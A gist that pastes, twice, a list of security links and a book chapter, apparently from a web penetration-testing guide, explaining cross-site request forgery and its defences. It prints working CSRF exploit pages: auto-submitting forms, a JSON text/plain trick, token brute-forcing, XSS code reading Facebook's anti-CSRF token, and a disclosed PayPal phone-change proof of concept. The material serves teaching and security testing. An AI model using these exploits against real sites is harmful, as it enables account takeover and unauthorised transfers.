prateekkalra/gist:c9377c64f7b4124c9742a5d6ea67bbc1

## gistfile1.txt
https://www.guru99.com/web-security-vulnerabilities.html
https://auth0.com/blog/hashing-passwords-one-way-road-to-security/
https://crackstation.net/hashing-security.htm
https://blog.mozilla.org/webdev/2012/06/08/lets-talk-about-password-storage/
https://www.thesslstore.com/blog/difference-encryption-hashing-salting/
https://howhttps.works/https-ssl-tls-differences/
veracode.com/security/insecure-crypto


Cross-site request forgery (CSRF) is another common web vulnerability, in which
an attacker tricks the victim's browser into generating requests to a website which
performs certain actions on behalf of the logged in user or the victim. The web server
processing the request executes the desired actions of the request, as it looks similar
to any normal request generated by the users' browser. CSRF vulnerabilities can vary
a lot in severity; benign ones can change settings or post on someone's behalf, but
critical ones can result in password change, account takeover, and so on.
CSRF has been commonly featured in the OWASP Top-10 vulnerability list for the
past few years. It's a widely misunderstood vulnerability by developers who often
fail to understand the root cause of the issue, thereby implementing half-baked
solutions to prevent the CSRF problem. I shall attempt to explain CSRF in a more
technical fashion.
In this chapter, we will cover the following topics:
• Introducing CSRF
• Exploiting POST -request based CSRF
• How developers prevent CSRF?
• PayPal's CSRF vulnerability to change phone numbers
• Exploiting CSRF in JSON requests
• Using XSS to steal anti-CSRF tokens
• Exploring pseudo anti-CSRF tokens
• Flash comes to the rescue
[ 83 ]Cross-Site Request Forgery
Introducing CSRF
Consider a banking web application, which transfers money to another user based
on his username. The following URL is generated for the same:
https://bank.example.com/transfer/money?username=John&amount=500
So, assuming that the user is logged in and the preceding URL is received by the
server of the banking application, it will generously transfer 500 dollars to the
username John . Now this is perfectly okay until someone with evil intention
creates a webpage with the following content and hosts it somewhere:
<html>
<head>
</head>
<body>
<img src="https://bank.example.com/transfer/
money?username=Attacker&amount=2500"/>
</body>
</html>
If a logged in user of the banking application views the above page, the browser will
try to load the image, which actually is a URL to transfer money to the attacker with
the amount 2500 dollars. In an attempt to load the image, a GET request will be sent
to the server of the banking application; however, the server will process this request
as a legitimate request initiated by the logged in user or the victim and transfer the
money to the attacker's account. The attack goes very silently and stealthily without
a trace.
Now, some developers attempt to fix this problem by switching the browser-server
communication for critical actions to a POST request in the hope of fixing this, but
sadly this is one of the worst ideas ever because CSRF vulnerability exists in POST
requests as well. I'll explain this later in this chapter.
[ 84 ]
www.ebook3000.comChapter 4
Source—https://code.google.com/p/gsoc2011-csrf-protection/
The preceding diagram describes a CSRF scenario with respect to a stock-exchange
website. stocks.example.org assumes the user is already logged into the website
and has an active session, and the following things are depicted:
• A malicious page is hosted at www.example.org
• The malicious page contains an image tag to load a URL to transfer shares
• The malicious page is run in the browser and then it sends a request to the
stocks.example.org server to transfer shares, without the user becoming
aware of anything.
[ 85 ]Cross-Site Request Forgery
Exploiting POST-request based CSRF
As we discussed before, developers often make the mistake of moving to POST
requests for critical actions, based on a website, by changing actions into forms
while assuming that a form's POST request will not get forged. But in reality this
can be very well forged—in this case the attacker uses a self-submitting form to
accomplish the same.
A self-submitting form hosted by an attacker looks like the following:
<html>
<head>
</head>
<body onload=document.getElementById('xsrf').submit()>
<form id='xsrf' method="post" action="
https://bank.example.com/transfer/money">
<input type='hidden' name='username' value='John'>
</input>
<input type='hidden' name='amount' value='500'>
</input>
</form>
</body>
</html>
The preceding code is for the same example as I explained earlier, but instead of GET
the developer chose to implement POST for the actions, and this piece of code will
exploit this without any hindrance.
Although we will lose some of the stealth of the CSRF attack upon submission of the
form, the vulnerable website will still open up. To avoid this, we can create another
page and load our page containing the exploit code as an iframe of 1*1 dimension,
hence after auto- or self-submitting the form, the page will remain hidden from the
eyes of the victim.
How developers prevent CSRF?
The classic method used by most developers to properly fix this vulnerability is by
adding a secret token or nonce, called an anti-CSRF token, to every sensitive request,
which is then verified by the server for authenticity.
Let's come back to our banking web application and see how it can be fixed by
adding a secret token alongside other request parameters.
[ 86 ]
www.ebook3000.comChapter 4
Assuming the user is logged into the banking application, the server assigns his
session with a unique anti-CSRF token, say ABC123 , to all sensitive forms and URLs.
Now to transfer 500 dollars to John the URL would become the following:
https://bank.example.com/transfer/money?username=John&amount=500&toke
n=ABC123
This token parameter's value will be checked and validated by the server with
respect to the session of the logged-in user, and if they mismatch then the transfer
will be denied. This concept makes use of the fact that a fairly long alphanumeric
token will get very difficult for an attacker to either guess or to use brute force.
Facebook's form and links contain an anti-CSRF token with the name fb_dtsg and
the value AQHP05SkQmqT as follows:
To add anti-CSRF protection tokens automatically, there are known libraries that
developers can use such as OWASP CSRFGuard.
Other techniques include inserting the token in request headers, checking the origin
header, and so on.
PayPal's CSRF vulnerability to change
phone numbers
In 2013, I disclosed a very serious CSRF vulnerability to the online payment giant
PayPal. This vulnerability allowed a malicious attacker to silently change the number
of a PayPal user, thus aiding the attacker to take over the account through the
password reset option.
[ 87 ]Cross-Site Request Forgery
Well, I was checking my PayPal balance sheet back then and as soon as I tried to
log into the web application of PayPal, I was prompted with an option to add and
confirm a number with my PayPal account as seen in the following screenshot:
As soon as I clicked on Send Code a one-time password was received on my
number, and looking at my account settings page I saw the number was changed
to the newer one which I requested the code for, even though I didn't submit the
OTP to PayPal.
The most shocking thing was the fact that the request, which was sent to PayPal after
click Send Code, had no anti-CSRF token or protection of any kind. This meant it
was vulnerable to a CSRF vulnerability which, when exploited, could have changed
the phone number of the victim user to a controlled phone number. This would have
the effect of an account takeover through the password-reset option of PayPal.
[ 88 ]
www.ebook3000.comChapter 4
I immediately developed a proof of concept exploit and sent an e-mail to PayPal's
security team explaining the criticality of the exploit; they responded and fixed this
quickly.
There was a CSRF issue in the POST request and the exploit is as follows:
<html>
<head>
</head>
<body onload=document.getElementById('xsrf').submit()>
<form id='xsrf' method="post"
action="https://www.paypal.com/webapps/customerprofile/
phone/confirm">
<input type='hidden' name='formAction' value='edit'>
</input>
<input type='hidden' name='actionId' value='doAction'>
</input>
<input type='hidden' name='phoneType' value='MOBILE'>
</input>
<input type='hidden' name='countryCode' value='IN'>
</input>
<input type='hidden' name='phoneNumber' value='9431194311'>
</input>
<input type='hidden' name='phoneHasErrors' value='true'>
</input>
<input type='hidden' name='sendCode' value='true'>
</input>
</form>
</body>
</html>
This is a self-submitting form.
[ 89 ]Cross-Site Request Forgery
Exploiting CSRF in JSON requests
JSON is a popular format to exchange data over the Internet in client-server
architectures. These days there's a growing trend in which developers are utilizing
JSON for browser to server communication.
A JSON-based POST data looks like the following:
In terms of our CSRF exploitation scenario, the problem arises with the fact
that there are no query parameters with the JSON format, which are a must with
self-submitting forms. To bypass this, we can use a self-submitting form, with a
hidden input with only a name attribute but no value. In other words, the name will
contain the JSON payload to exploit the CSRF. We'll have to change the encoding
type to text/plain for sanity. The exploit code will look like the following:
<html>
<head>
</head>
<body onload=document.getElementById('xsrf').submit()>
<form id="xsrf" action="
https://bank.example.com/transfer/money" method=post
enctype="text/plain" >
<input name='{"username":"Attacker","amount":2500}'
type='hidden'>
</form>
</body>
</html>
[ 90 ]
www.ebook3000.comChapter 4
The POST request generated will be as follows:
You may notice a trailing = sign after the JSON payload, this will cause many servers
to reject this JSON as it's not a valid one after all. We can fix this thing by adding
another JSON attribute and then breaking it into the name and value parts of the
hidden input:
<html>
<head>
</head>
<body onload=document.getElementById('xsrf').submit()>
<form id="xsrf" action="
https://bank.example.com/transfer/money"
method=post enctype="text/plain" >
<input name='{"username":"Attacker","amount":2500,
"padding":"' value='garbage"}' type='hidden'>
</form>
</body>
The resulting POST will be as follows:
We can clearly see how this trick allowed us to build a proper JSON; and when
this data is sent as a POST request, the server will happily accept the username and
amount fields and ignore the one with the name padding as it does not need it. So
this is how you exploit JSON-based CSRF.
[ 91 ]Cross-Site Request Forgery
Using XSS to steal anti-CSRF tokens
If we have an XSS vulnerability in the web application, then by inserting appropriate
JavaScript code we can steal the token and then use that to build a CSRF exploit (a
self-submitting form and so on).
In the following image I've simulated an XSS vulnerability in Facebook through
the Developer Console of Chrome, inserted the following code, which will grab
the CSRF token from the hidden input with the name fb_dtsg and display it in the
browser as shown in the screenshot following the code:
var csrf = document.getElementsByTagName("input")['fb_dtsg'].value;
alert('Your CSRF protection token fb_dtsg has value '+csrf);
Let's take a look at the following screenshot:
It seems plain and simple, right? Similarly, we can use the csrf variable from the
JS code, inject it into a self-submitting form through DOM manipulations, and then
make the form auto-submit itself. I will leave this as an exercise.
[ 92 ]
www.ebook3000.comChapter 4
Exploring pseudo anti-CSRF tokens
There are certain cases where the CSRF tokens are injected into forms and sensitive
URLs but are rarely checked and validated on the server side.
That being said, I recall a CSRF vulnerability in Facebook's AppCenter, uncovered by
an Indian researcher called Amol Naik, in which he explained how he managed to
bypass the AppCenter authentication (the AppCenter is basically a marketplace from
which users can install different apps/games to their Facebook profile).
In the authentication phase Amol saw that Facebook was correctly sending their anti-
CSRF token fb_dtsg alongside the approval request, however, on the server side, the
request was not getting validated and was ignored, which simply meant that their
token was of no use at all. Amol proceeded and removed the fb_dtsg parameter
from the request altogether and the AppCenter app was still getting accepted.
So, while testing an application, we should always try to remove the CSRF token
parameter/header from the request and check whether the server accepts or rejects
the request altogether. In fact, we can also perform the following observations to
check the validation of the anti-CSRF tokens:
• If currently logged in as user A then use the CSRF token of any other user B
and check if the request of A is allowed via B's token. Then use this logic to
bypass the CSRF protection.
• Don't delete the anti-CSRF token parameter but put a blank inside its value
and see if it works.
• Put a random string with a similar length to that of the anti-CSRF token.
Check to see if that works.
• Check if the CSRF token is common to all users. If so, then use the token to
construct an exploit.
Low entropy or guessable tokens are another thing we can take advantage of.
Consider a scenario where the CSRF tokens are only numbers in the range 1-100 or
1-1000 or similar variations. In this type of case we can use a brute force approach in
the CSRF exploit to guess the correct token.
Let's revisit the banking application again, this time with a weak token range to
protect from a CSRF attack. We know the application can only have and accept CSRF
tokens between the range 1-100. We can create an exploit like the following:
<html>
<head></head>
<body>
[ 93 ]Cross-Site Request Forgery
<img src="https://bank.example.com/transfer/
money?username=Attacker&amount=2500&token=1"/>
<img src="https://bank.example.com/transfer/
money?username=Attacker&amount=2500&token=2"/>
<img src="https://bank.example.com/transfer/
money?username=Attacker&amount=2500&token=3"/>
<img src="https://bank.example.com/transfer/
money?username=Attacker&amount=2500&token=4"/>
<img src="https://bank.example.com/transfer/
money?username=Attacker&amount=2500&token=5"/>
...
<img src="https://bank.example.com/transfer/
money?username=Attacker&amount=2500&token=100"/>
</body>
</html>
Now that this CSRF exploit page will load URLs in an image tag with token values
from 1-100, this will effectively make sure that all possible values in the range of
tokens are hit. There, out of a hundred attempts, one will definitely succeed. We can
trim the exploit by creating image tags dynamically through JavaScript and looping
them a hundred times.
	https://www.guru99.com/web-security-vulnerabilities.html
	https://auth0.com/blog/hashing-passwords-one-way-road-to-security/
	https://crackstation.net/hashing-security.htm
	https://blog.mozilla.org/webdev/2012/06/08/lets-talk-about-password-storage/
	https://www.thesslstore.com/blog/difference-encryption-hashing-salting/
	https://howhttps.works/https-ssl-tls-differences/
	veracode.com/security/insecure-crypto


	Cross-site request forgery (CSRF) is another common web vulnerability, in which
	an attacker tricks the victim's browser into generating requests to a website which
	performs certain actions on behalf of the logged in user or the victim. The web server
	processing the request executes the desired actions of the request, as it looks similar
	to any normal request generated by the users' browser. CSRF vulnerabilities can vary
	a lot in severity; benign ones can change settings or post on someone's behalf, but
	critical ones can result in password change, account takeover, and so on.
	CSRF has been commonly featured in the OWASP Top-10 vulnerability list for the
	past few years. It's a widely misunderstood vulnerability by developers who often
	fail to understand the root cause of the issue, thereby implementing half-baked
	solutions to prevent the CSRF problem. I shall attempt to explain CSRF in a more
	technical fashion.
	In this chapter, we will cover the following topics:
	• Introducing CSRF
	• Exploiting POST -request based CSRF
	• How developers prevent CSRF?
	• PayPal's CSRF vulnerability to change phone numbers
	• Exploiting CSRF in JSON requests
	• Using XSS to steal anti-CSRF tokens
	• Exploring pseudo anti-CSRF tokens
	• Flash comes to the rescue
	[ 83 ]Cross-Site Request Forgery
	Introducing CSRF
	Consider a banking web application, which transfers money to another user based
	on his username. The following URL is generated for the same:
	https://bank.example.com/transfer/money?username=John&amount=500
	So, assuming that the user is logged in and the preceding URL is received by the
	server of the banking application, it will generously transfer 500 dollars to the
	username John . Now this is perfectly okay until someone with evil intention
	creates a webpage with the following content and hosts it somewhere:
	<html>
	<head>
	</head>
	<body>
	<img src="https://bank.example.com/transfer/
	money?username=Attacker&amount=2500"/>
	</body>
	</html>
	If a logged in user of the banking application views the above page, the browser will
	try to load the image, which actually is a URL to transfer money to the attacker with
	the amount 2500 dollars. In an attempt to load the image, a GET request will be sent
	to the server of the banking application; however, the server will process this request
	as a legitimate request initiated by the logged in user or the victim and transfer the
	money to the attacker's account. The attack goes very silently and stealthily without
	a trace.
	Now, some developers attempt to fix this problem by switching the browser-server
	communication for critical actions to a POST request in the hope of fixing this, but
	sadly this is one of the worst ideas ever because CSRF vulnerability exists in POST
	requests as well. I'll explain this later in this chapter.
	[ 84 ]
	www.ebook3000.comChapter 4
	Source—https://code.google.com/p/gsoc2011-csrf-protection/
	The preceding diagram describes a CSRF scenario with respect to a stock-exchange
	website. stocks.example.org assumes the user is already logged into the website
	and has an active session, and the following things are depicted:
	• A malicious page is hosted at www.example.org
	• The malicious page contains an image tag to load a URL to transfer shares
	• The malicious page is run in the browser and then it sends a request to the
	stocks.example.org server to transfer shares, without the user becoming
	aware of anything.
	[ 85 ]Cross-Site Request Forgery
	Exploiting POST-request based CSRF
	As we discussed before, developers often make the mistake of moving to POST
	requests for critical actions, based on a website, by changing actions into forms
	while assuming that a form's POST request will not get forged. But in reality this
	can be very well forged—in this case the attacker uses a self-submitting form to
	accomplish the same.
	A self-submitting form hosted by an attacker looks like the following:
	<html>
	<head>
	</head>
	<body onload=document.getElementById('xsrf').submit()>
	<form id='xsrf' method="post" action="
	https://bank.example.com/transfer/money">
	<input type='hidden' name='username' value='John'>
	</input>
	<input type='hidden' name='amount' value='500'>
	</input>
	</form>
	</body>
	</html>
	The preceding code is for the same example as I explained earlier, but instead of GET
	the developer chose to implement POST for the actions, and this piece of code will
	exploit this without any hindrance.
	Although we will lose some of the stealth of the CSRF attack upon submission of the
	form, the vulnerable website will still open up. To avoid this, we can create another
	page and load our page containing the exploit code as an iframe of 1*1 dimension,
	hence after auto- or self-submitting the form, the page will remain hidden from the
	eyes of the victim.
	How developers prevent CSRF?
	The classic method used by most developers to properly fix this vulnerability is by
	adding a secret token or nonce, called an anti-CSRF token, to every sensitive request,
	which is then verified by the server for authenticity.
	Let's come back to our banking web application and see how it can be fixed by
	adding a secret token alongside other request parameters.
	[ 86 ]
	www.ebook3000.comChapter 4
	Assuming the user is logged into the banking application, the server assigns his
	session with a unique anti-CSRF token, say ABC123 , to all sensitive forms and URLs.
	Now to transfer 500 dollars to John the URL would become the following:
	https://bank.example.com/transfer/money?username=John&amount=500&toke
	n=ABC123
	This token parameter's value will be checked and validated by the server with
	respect to the session of the logged-in user, and if they mismatch then the transfer
	will be denied. This concept makes use of the fact that a fairly long alphanumeric
	token will get very difficult for an attacker to either guess or to use brute force.
	Facebook's form and links contain an anti-CSRF token with the name fb_dtsg and
	the value AQHP05SkQmqT as follows:
	To add anti-CSRF protection tokens automatically, there are known libraries that
	developers can use such as OWASP CSRFGuard.
	Other techniques include inserting the token in request headers, checking the origin
	header, and so on.
	PayPal's CSRF vulnerability to change
	phone numbers
	In 2013, I disclosed a very serious CSRF vulnerability to the online payment giant
	PayPal. This vulnerability allowed a malicious attacker to silently change the number
	of a PayPal user, thus aiding the attacker to take over the account through the
	password reset option.
	[ 87 ]Cross-Site Request Forgery
	Well, I was checking my PayPal balance sheet back then and as soon as I tried to
	log into the web application of PayPal, I was prompted with an option to add and
	confirm a number with my PayPal account as seen in the following screenshot:
	As soon as I clicked on Send Code a one-time password was received on my
	number, and looking at my account settings page I saw the number was changed
	to the newer one which I requested the code for, even though I didn't submit the
	OTP to PayPal.
	The most shocking thing was the fact that the request, which was sent to PayPal after
	click Send Code, had no anti-CSRF token or protection of any kind. This meant it
	was vulnerable to a CSRF vulnerability which, when exploited, could have changed
	the phone number of the victim user to a controlled phone number. This would have
	the effect of an account takeover through the password-reset option of PayPal.
	[ 88 ]
	www.ebook3000.comChapter 4
	I immediately developed a proof of concept exploit and sent an e-mail to PayPal's
	security team explaining the criticality of the exploit; they responded and fixed this
	quickly.
	There was a CSRF issue in the POST request and the exploit is as follows:
	<html>
	<head>
	</head>
	<body onload=document.getElementById('xsrf').submit()>
	<form id='xsrf' method="post"
	action="https://www.paypal.com/webapps/customerprofile/
	phone/confirm">
	<input type='hidden' name='formAction' value='edit'>
	</input>
	<input type='hidden' name='actionId' value='doAction'>
	</input>
	<input type='hidden' name='phoneType' value='MOBILE'>
	</input>
	<input type='hidden' name='countryCode' value='IN'>
	</input>
	<input type='hidden' name='phoneNumber' value='9431194311'>
	</input>
	<input type='hidden' name='phoneHasErrors' value='true'>
	</input>
	<input type='hidden' name='sendCode' value='true'>
	</input>
	</form>
	</body>
	</html>
	This is a self-submitting form.
	[ 89 ]Cross-Site Request Forgery
	Exploiting CSRF in JSON requests
	JSON is a popular format to exchange data over the Internet in client-server
	architectures. These days there's a growing trend in which developers are utilizing
	JSON for browser to server communication.
	A JSON-based POST data looks like the following:
	In terms of our CSRF exploitation scenario, the problem arises with the fact
	that there are no query parameters with the JSON format, which are a must with
	self-submitting forms. To bypass this, we can use a self-submitting form, with a
	hidden input with only a name attribute but no value. In other words, the name will
	contain the JSON payload to exploit the CSRF. We'll have to change the encoding
	type to text/plain for sanity. The exploit code will look like the following:
	<html>
	<head>
	</head>
	<body onload=document.getElementById('xsrf').submit()>
	<form id="xsrf" action="
	https://bank.example.com/transfer/money" method=post
	enctype="text/plain" >
	<input name='{"username":"Attacker","amount":2500}'
	type='hidden'>
	</form>
	</body>
	</html>
	[ 90 ]
	www.ebook3000.comChapter 4
	The POST request generated will be as follows:
	You may notice a trailing = sign after the JSON payload, this will cause many servers
	to reject this JSON as it's not a valid one after all. We can fix this thing by adding
	another JSON attribute and then breaking it into the name and value parts of the
	hidden input:
	<html>
	<head>
	</head>
	<body onload=document.getElementById('xsrf').submit()>
	<form id="xsrf" action="
	https://bank.example.com/transfer/money"
	method=post enctype="text/plain" >
	<input name='{"username":"Attacker","amount":2500,
	"padding":"' value='garbage"}' type='hidden'>
	</form>
	</body>
	The resulting POST will be as follows:
	We can clearly see how this trick allowed us to build a proper JSON; and when
	this data is sent as a POST request, the server will happily accept the username and
	amount fields and ignore the one with the name padding as it does not need it. So
	this is how you exploit JSON-based CSRF.
	[ 91 ]Cross-Site Request Forgery
	Using XSS to steal anti-CSRF tokens
	If we have an XSS vulnerability in the web application, then by inserting appropriate
	JavaScript code we can steal the token and then use that to build a CSRF exploit (a
	self-submitting form and so on).
	In the following image I've simulated an XSS vulnerability in Facebook through
	the Developer Console of Chrome, inserted the following code, which will grab
	the CSRF token from the hidden input with the name fb_dtsg and display it in the
	browser as shown in the screenshot following the code:
	var csrf = document.getElementsByTagName("input")['fb_dtsg'].value;
	alert('Your CSRF protection token fb_dtsg has value '+csrf);
	Let's take a look at the following screenshot:
	It seems plain and simple, right? Similarly, we can use the csrf variable from the
	JS code, inject it into a self-submitting form through DOM manipulations, and then
	make the form auto-submit itself. I will leave this as an exercise.
	[ 92 ]
	www.ebook3000.comChapter 4
	Exploring pseudo anti-CSRF tokens
	There are certain cases where the CSRF tokens are injected into forms and sensitive
	URLs but are rarely checked and validated on the server side.
	That being said, I recall a CSRF vulnerability in Facebook's AppCenter, uncovered by
	an Indian researcher called Amol Naik, in which he explained how he managed to
	bypass the AppCenter authentication (the AppCenter is basically a marketplace from
	which users can install different apps/games to their Facebook profile).
	In the authentication phase Amol saw that Facebook was correctly sending their anti-
	CSRF token fb_dtsg alongside the approval request, however, on the server side, the
	request was not getting validated and was ignored, which simply meant that their
	token was of no use at all. Amol proceeded and removed the fb_dtsg parameter
	from the request altogether and the AppCenter app was still getting accepted.
	So, while testing an application, we should always try to remove the CSRF token
	parameter/header from the request and check whether the server accepts or rejects
	the request altogether. In fact, we can also perform the following observations to
	check the validation of the anti-CSRF tokens:
	• If currently logged in as user A then use the CSRF token of any other user B
	and check if the request of A is allowed via B's token. Then use this logic to
	bypass the CSRF protection.
	• Don't delete the anti-CSRF token parameter but put a blank inside its value
	and see if it works.
	• Put a random string with a similar length to that of the anti-CSRF token.
	Check to see if that works.
	• Check if the CSRF token is common to all users. If so, then use the token to
	construct an exploit.
	Low entropy or guessable tokens are another thing we can take advantage of.
	Consider a scenario where the CSRF tokens are only numbers in the range 1-100 or
	1-1000 or similar variations. In this type of case we can use a brute force approach in
	the CSRF exploit to guess the correct token.
	Let's revisit the banking application again, this time with a weak token range to
	protect from a CSRF attack. We know the application can only have and accept CSRF
	tokens between the range 1-100. We can create an exploit like the following:
	<html>
	<head></head>
	<body>
	[ 93 ]Cross-Site Request Forgery
	<img src="https://bank.example.com/transfer/
	money?username=Attacker&amount=2500&token=1"/>
	<img src="https://bank.example.com/transfer/
	money?username=Attacker&amount=2500&token=2"/>
	<img src="https://bank.example.com/transfer/
	money?username=Attacker&amount=2500&token=3"/>
	<img src="https://bank.example.com/transfer/
	money?username=Attacker&amount=2500&token=4"/>
	<img src="https://bank.example.com/transfer/
	money?username=Attacker&amount=2500&token=5"/>
	...
	<img src="https://bank.example.com/transfer/
	money?username=Attacker&amount=2500&token=100"/>
	</body>
	</html>
	Now that this CSRF exploit page will load URLs in an image tag with token values
	from 1-100, this will effectively make sure that all possible values in the range of
	tokens are hit. There, out of a hundred attempts, one will definitely succeed. We can
	trim the exploit by creating image tags dynamically through JavaScript and looping
	them a hundred times.